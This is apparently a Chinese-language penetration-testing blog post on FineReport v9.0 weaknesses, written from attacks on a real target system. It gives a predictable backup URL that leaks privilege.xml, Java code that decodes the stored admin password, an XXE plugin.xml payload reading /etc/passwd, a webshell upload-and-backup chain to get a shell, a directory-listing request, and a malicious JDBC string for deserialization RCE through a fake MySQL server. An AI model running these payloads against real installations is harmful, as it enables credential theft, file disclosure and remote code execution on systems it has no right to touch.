帆软报表v9.0 Vulnerability

  2 mins to read  

TL; DR

本篇是水文

网上公开的目前只有帆软v8.0部分漏洞,而v9.0中这几个漏洞已修(HW快开始了)

本文记录针对帆软v9.0渗透中发现的脆弱点

  • 前台备份文件泄露(默认路径)
  • 后台XXE
  • 后台GetShell
  • 后台任意jdbc串连接导致
    • 本地文件读取
    • 反序列化RCE

前台备份文件泄露

帆软v9.0提供了备份文件功能

默认情况下(官方示例https://help.finebi.com/finebi4.1/doc-view-517.html)的备份文件路径是:

path="${WEB_REPORT}/bakup"

存在以下几种备份(就是bakup,不是我笔误):

all_bakup  
config_bakup  jar_bakup  log_bakup
plugins_bakup  reportlets_bakup  update_bakup

备份内部的路径为

autobackup/YYYY.MM.DD<space>HH.MinMin.SS
manualbackup/<NAME(default is timestamp)>

如果确认WEB根目录下存在备份目录,可以尝试猜解timestamp。如果是Windows下,还可结合短文件名

我所遇目标系统privilege.xml路径:

http://IP/WebReport/bakup/config_bakup/autobackup/2020.04.07%2018.10.10/resources/privilege.xml

privilege.xml中存放了编码后的admin密码,反编译jar可知编码算法

// fr-core-9.0.jar/com/fr/stable/CommonCodeUtils.java
public class Main {
    private static final int[] PASSWORD_MASK_ARRAY = {19, 78, 10, 15, 100, 213, 43, 23};

    public static String passwordDecode(String paramString) {
        if (paramString != null && paramString.startsWith("___")) {
            paramString = paramString.substring(3);
            StringBuilder stringBuilder = new StringBuilder();
            byte b1 = 0;
            for (byte b2 = 0; b2 <= paramString.length() - 4; b2 += 4) {
                if (b1 == PASSWORD_MASK_ARRAY.length)
                    b1 = 0;
                String str = paramString.substring(b2, b2 + 4);
                int i = Integer.parseInt(str, 16) ^ PASSWORD_MASK_ARRAY[b1];
                stringBuilder.append((char)i);
                b1++;
            }
            paramString = stringBuilder.toString();
        }
        return paramString;
    }

    public static void main(String[] args) {
        String pwd = "___0022...";
        System.out.println(passwordDecode(pwd));
    }
}

后台XXE

后台有上传插件功能,上传文件为zip格式,插件元信息放在压缩包的plugin.xml中

将WebShell和plugin.xml压缩后上传,FineReport在解析plugin.xml时存在XXE

至于源码我就不打算分析了,感兴趣可以自己反编译看一下,教科书式的XXE写法。可能是因为在后台,一直没有人提出

两种利用:

  • 读文件,但XXE回显在插件管理栏时有字数限制,可FTP OOB。而且Java的XXE是可以列目录的,但其实后台有列目录接口,后面讲
  • SSRF,Windows下低版本JDK默认会启用NTLM鉴权,可以破解hash或hash relay

plugin.xml示例:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE a [ <!ENTITY b SYSTEM "file:///etc/passwd"> ]>
<plugin>
    <id>EVIL</id>
    <name>&b;</name>
    <active>yes</active>
    <version>0.0.1</version>
    <env-version>8.0</env-version>
    <vendor>finereport.wei</vendor>   
    <jartime>2017-11-08</jartime>
    <description>&b;</description>
    <extra-report>
        <ActorProvider class="com.fr.wei.plugin.h5reportnew.server.report.Html5PageActorProvider"/>
    </extra-report>
    <extra-platform>
        <PlateProvider class="com.fr.wei.plugin.h5reportnew.server.fs.Html5ManagementPlateProvider"/>
    </extra-platform>
</plugin>

后台GetShell

压缩包中的WebShell解压后会放在

WEB-INF/plugins/plugin-EVIL-[VERSION]

结合手动备份功能,将其备份到WEB目录下

即可访问

http://IP/WebReport/bakup/plugins_bakup/manualbackup/EVIL/plugins/plugin-EVIL-0.0.1/1.jsp

假如备份文件路径不在WEB目录下,其实后台给了设置备份文件存储路径的功能,可以将WebShell转到可访问目录中

智能运维 -> 备份还原 -> 设置 -> 备份路径

我所遇目标系统就是通过这种方式getshell

而且这里在选择备份路径时,是有列目录功能的

POST
/WebReport/ReportServer?op=fs_bakrestore&cmd=folder_tree

serverID=&optype=get_nodes&parentID=/root&layer=1

结合列目录功能,某些操作也会更加容易

任意JDBC串连接

数据库操作可导致反序列化,文章:

https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649721398&idx=3&sn=ffc2b37268b51b61ed4edba5683cd5b5&chksm=888cba59bffb334fabaf35ffb588d7f0d9ed2d4959d7bfd3d4fa137821a23b7b525c2b1a33b3&mpshare=1&scene=23&srcid=&sharer_sharetime=1587033454342&sharer_shareid=04fc381b7838be4b14d617ae0623e947#rd

目标系统是mysql-connector-java-5.1.6-bin.jar,在文章所说的可攻击范围内(我通过ysoserial.URLDNS验证确实可成功反序列化)

攻击需要结合本地gadgets,反编译fr-third-9.0.jar发现存在springframework,但spring版本不合,反编译后发现没有springframework.beans.factory.support.AutowireUtilsspringframework.core.SerializableTypeWrapper。且目标是JDK8u242,就算spring是漏洞版本也无法攻击

简单尝试后并没有找到可利用的gadgets,如果日后有机会可以尝试挖掘fr-core, fr-third, fr-chart等jar包

在有可利用gadget情况下:

fr-third-9.0.jar导入本地mvn仓库

mvn install:install-file -Dfile='fr-third-9.0.jar' -DgroupId='com.fr.third' -DartifactId='fr-third' -Dversion='9.0' -Dpackaging=jar

将gadget的package的导入的路径修改为com.fr.third.xxx,修改pom.xml加入fr-third dependency后重新编译

服务端Fake_MySQL_Server监听,后台修改JDBC串为

jdbc:mysql://IP:3306/db?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_GADGET_CMD

修改后随意触发一处查询即可RCE